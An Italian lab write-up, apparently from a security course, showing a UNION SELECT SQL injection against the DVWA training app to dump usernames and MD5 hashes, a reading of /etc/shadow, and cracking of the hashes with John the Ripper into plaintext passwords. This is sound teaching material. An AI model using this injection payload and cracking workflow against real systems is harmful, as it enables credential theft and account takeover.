

# PASSWORD CRACKING

Nell'esercizio di oggi dovremo andare a decriptare gli hash di password crittografate in MD5.

Dovremo quindi sfruttare un attacco SQL injection per recuperare le password dal Database ed andremo ad eseguire delle sessioni di cracking sulle password per recuperare la loro versione in chiaro.

Andremo quindi ad aprire la sezione SQL injection della DVWA della nostra macchina bersaglio ed andremo ad inserire il comando ' USER SELECT user, password FROM users# per recuperare i nomi utenti e gli hash delle loro passwords.



**DVWA**

**Vulnerability: SQL Injection**

User ID:

ID: ' UNION SELECT user, password FROM users#  
First name: admin  
Surname: 5f4dcc3b5aa765d61d8327deb882cf99

ID: ' UNION SELECT user, password FROM users#  
First name: gordonb  
Surname: e99a18c428cb38d5f260853678922e03

ID: ' UNION SELECT user, password FROM users#  
First name: 1337  
Surname: 8d3533d75ae2c3966d7e0d4fcc69216b

ID: ' UNION SELECT user, password FROM users#  
First name: pablo  
Surname: 0d107d09f5bbe40cade3de5c71e9e9b7

ID: ' UNION SELECT user, password FROM users#  
First name: smithy  
Surname: 5f4dcc3b5aa765d61d8327deb882cf99

Fatto ciò andremo a creare un file .txt in cui inseriremo i nomi\_utente:password che andremo poi a richiamare con il nostro tool di password cracking.

```
~/password.txt - Mousepad
File Edit Search View Document Help
1 admin:5f4dcc3b5aa765d61d8327deb882cf99
2 gordonb:e99a18c428cb38d5f260853678922e03
3 1337:8d3533d75ae2c3966d7e0d4fcc69216b
4 pablo:0d107d09f5bbe40cade3de5c71e9e9b7
5 smithy:5f4dcc3b5aa765d61d8327deb882cf99
6
```

Per andare a decriptare gli hash andremo ad utilizzare il tool John the Ripper.

JtR è un tool di password cracking, scritto per i sistemi operativi basati su Unix, che automatizza le richieste di combinazioni di password, facendo uso della parallelizzazione dei task per ridurre i tempi di cracking durante una sessione bruteforce. Può eseguire la decriptazione su DES, MD5 e Blowfish.

Per farlo, JtR, ha bisogno che il file delle password e il file con gli hash delle password siano in un unico file.

Nella directory /etc sarà possibile trovare i file passwd e shadow, andandoli ad aprire potremo vedere che non sono altro che, rispettivamente, il file delle password (contenente gli utenti) e il file con gli hash delle password.

```
firebird      libaudit.conf  openvpn       services      xattr.conf
firefox-esr   libblockdev    opt           sgml          xdg
fonts         libccid_Info.plist os-release    shadow        xfce4
freetds       libibverbs.d  pam.conf     shadow-       xl2tpd
fstab         libnl-3       pam.d        shells        xrdp
fuse.conf     libpaper.d    papersize    skel          zsh
gai.conf      lightdm        passwd-      smartd.conf   zsh_command_not_found
geoclue       lighttpd

(kali@kali)-[/etc]
$
```

```
(kali@kali)-[/etc]
$ sudo cat shadow
root:*:19212:0:99999:7:::
daemon:*:19212:0:99999:7:::
bin:*:19212:0:99999:7:::
sys:*:19212:0:99999:7:::
sync:*:19212:0:99999:7:::
games:*:19212:0:99999:7:::
man:*:19212:0:99999:7:::
lp:*:19212:0:99999:7:::
mail:*:19212:0:99999:7:::
news:*:19212:0:99999:7:::
uucp:*:19212:0:99999:7:::
proxy:*:19212:0:99999:7:::
www-data:*:19212:0:99999:7:::
backup:*:19212:0:99999:7:::
list:*:19212:0:99999:7:::
irc:*:19212:0:99999:7:::
gnats:*:19212:0:99999:7:::
nobody:*:19212:0:99999:7:::
_apt!:19212:!:!:!:
systemd-network!:19212:!:!:
systemd-resolve!:19212:!:!:
systemd-timesync!:19212:!:!:
messagebus!:19212:!:!:
tss!:19212:!:!:
strongswan!:19212:!:!:
tcpdump!:19212:!:!:
usbmux!:19212:!:!:
sshd!:19212:!:!:
dnsmasq!:19212:!:!:
avahi!:19212:!:!:
rtkit!:19212:!:!:
speech-dispatcher!:19212:!:!:
nm-openvpn!:19212:!:!:
nm-openconnect!:19212:!:!:
lightdm!:19212:!:!:
pulse!:19212:!:!:
saned!:19212:!:!:
colord!:19212:!:!:
mysql!:19212:!:!:
stunnel4!:19212:!:!:
_rpc!:19212:!:!:
geoclue!:19212:!:!:
Debian-snmpp!:19212:!:!:
sslh!:19212:!:!:
ntpsec!:19212:!:!:

(kali@kali)-[/etc]
$ cat passwd
root:x:0:0:root:/root:/usr/bin/zsh
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
irc:x:39:39:ircd:/run/ircd:/usr/sbin/nologin
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
_apt:x:100:65534::/nonexistent:/usr/sbin/nologin
systemd-network:x:101:102:systemd Network Management,,:/run/systemd:/usr/sbin/nologin
systemd-resolve:x:102:103:systemd Resolver,,:/run/systemd:/usr/sbin/nologin
systemd-timesync:x:103:110:systemd Time Synchronization,,:/run/systemd:/usr/sbin/nologin
messagebus:x:104:111:/nonexistent:/usr/sbin/nologin
tss:x:105:113:TPM software stack,,:/var/lib/tpm:/bin/false
strongswan:x:106:65534:/var/lib/strongswan:/usr/sbin/nologin
tcpdump:x:107:114:/nonexistent:/usr/sbin/nologin
usbmux:x:108:46:usbmux daemon,,:/var/lib/usbmux:/usr/sbin/nologin
sshd:x:109:65534:/run/ssh:/usr/sbin/nologin
dnsmasq:x:110:65534:dnsmasq,,:/var/lib/misc:/usr/sbin/nologin
avahi:x:111:117:Avahi mDNS daemon,,:/run/avahi-daemon:/usr/sbin/nologin
rtkit:x:112:118:RealtimeKit,,:/proc:/usr/sbin/nologin
speech-dispatcher:x:113:29:Speech Dispatcher,,:/run/speech-dispatcher:/bin/false
nm-openvpn:x:114:120:NetworkManager OpenVPN,,:/var/lib/openvpn/chroot:/usr/sbin/nologin
nm-openconnect:x:115:121:NetworkManager OpenConnect plugin,,:/var/lib/NetworkManager:/usr/sbin/nologin
lightdm:x:116:122:Light Display Manager:/var/lib/lightdm:/bin/false
pulse:x:117:123:PulseAudio daemon,,:/run/pulse:/usr/sbin/nologin
saned:x:118:126:/var/lib/saned:/usr/sbin/nologin
colord:x:119:127:colord colour management daemon,,:/var/lib/colord:/usr/sbin/nologin
mysql:x:120:128:MySQL Server,,:/nonexistent:/bin/false
stunnel4:x:999:999:stunnel service system account:/var/run/stunnel4:/usr/sbin/nologin
_rpc:x:121:65534:/run/rpcbind:/usr/sbin/nologin
geoclue:x:122:130:/var/lib/geoclue:/usr/sbin/nologin
Debian-snmpp:x:123:131:/var/lib/snmpp:/bin/false
sslh:x:124:132:/nonexistent:/usr/sbin/nologin
ntpsec:x:125:135:/nonexistent:/usr/sbin/nologin
```

Per unire questi file sarà possibile utilizzare l'utility unshadow, già parte di JtR, tramite il comando `unshadow /etc/passwd /etc/shadow > hashes`



```

(kali@kali)-[~]
$ sudo unshadow /etc/passwd /etc/shadow > hashes
[sudo] password for kali:

(kali@kali)-[~]
$ ls
backdoor.py          Documents            gameshell.sh        password.txt        seekFile.py
bruteforce2.py       Downloads           hashes              Pictures           shell.php
bruteforcemultiplo.py esercizioddos1.py  httpverb2.py       portscanner.py     'SYN scan.pcapng'
bruteforce.py        esercizioddos.py   httpverb.py        provabrute.py      'TCP scan2.pcapng'
bruteforcescelta2.py esercizisocket.py  moduli.py.save     Public            'TCP scan.pcapng'
bruteforcescelta.py gameshell           Music              __pycache__       Templates
C-C++               gameshell.1        nmapfinal.py       Python            Videos
Desktop             gameshell-save.sh  nmap.py            'scan -A.pcapng'

(kali@kali)-[~]
$ cat hashes
root:*:0:0:root:/root:/usr/bin/zsh
daemon:*:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:*:2:2:bin:/bin:/usr/sbin/nologin
sys:*:3:3:sys:/dev:/usr/sbin/nologin
sync:*:4:65534:sync:/bin:/bin/sync
games:*:5:60:games:/usr/games:/usr/sbin/nologin
man:*:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:*:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:*:8:8:mail:/var/mail:/usr/sbin/nologin
news:*:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:*:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:*:13:13:proxy:/bin:/usr/sbin/nologin
www-data:*:33:33:www-data:/var/www:/usr/sbin/nologin
backup:*:34:34:backup:/var/backups:/usr/sbin/nologin
list:*:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
irc:*:39:39:ircd:/run/ircd:/usr/sbin/nologin
gnats:*:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin
nobody:*:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
_apt:!:100:65534:./nonexistent:/usr/sbin/nologin
systemd-network:!:101:102:systemd Network Management,,,:/run/systemd:/usr/sbin/nologin
systemd-resolve:!:102:103:systemd Resolver,,,:/run/systemd:/usr/sbin/nologin
systemd-timesync:!:103:110:systemd Time Synchronization,,,:/run/systemd:/usr/sbin/nologin
messagebus:!:104:111:./nonexistent:/usr/sbin/nologin
tss:!:105:113:TPM software stack,,,:/var/lib/tpm:/bin/false
strongswan:!:106:65534:./var/lib/strongswan:/usr/sbin/nologin
tcpdump:!:107:114:./nonexistent:/usr/sbin/nologin
usbmux:!:108:46:usbmux daemon,,,:/var/lib/usbmux:/usr/sbin/nologin

```

Al termine di una sessione di cracking con JtR si possono controllare le password recuperate con il comando `–show`.

Andremo quindi a lanciare JtR sulla shell della nostra macchina Kali con il comando `john –format=raw-md5 –file.txt`

```
kali@kali: ~  
File Actions Edit View Help  
  
(kali@kali)-[~]  
$ john --format=raw-md5 -- password.txt  
Created directory: /home/kali/.john  
Using default input encoding: UTF-8  
Loaded 5 password hashes with no different salts (Raw-MD5 [MD5 256/256 AVX2 8x3])  
Warning: no OpenMP support for this hash type, consider --fork=2  
Proceeding with single, rules:Single  
Press 'q' or Ctrl-C to abort, almost any other key for status  
Warning: Only 12 candidates buffered for the current salt, minimum 24 needed for performance.  
Almost done: Processing the remaining buffered candidate passwords, if any.  
Proceeding with wordlist:/usr/share/john/password.lst  
password (admin)  
password (smithy)  
abc123 (gordonb)  
letmein (pablo)  
Proceeding with incremental:ASCII  
charley (1337)  
5g 0:00:00:00 DONE 3/3 (2022-11-30 05:22) 7.812g/s 284790p/s 284790c/s 311665C/s stevy13.. candake  
Use the "--show --format=Raw-MD5" options to display all of the cracked passwords reliably  
Session completed.  
  
(kali@kali)-[~]  
$
```

Come risultato avremo così le password in chiaro degli utenti scelti.

Con il comando `john --show --format=raw-md5 file.txt` potremo poi vedere stampate a schermo le combinazioni id:password decriptate.

```
(kali@kali)-[~]  
$ john --show --format=raw-md5 password.txt  
admin:password  
gordonb:abc123  
1337:charley  
pablo:letmein  
smithy:password  
  
5 password hashes cracked, 0 left  
  
(kali@kali)-[~]  
$
```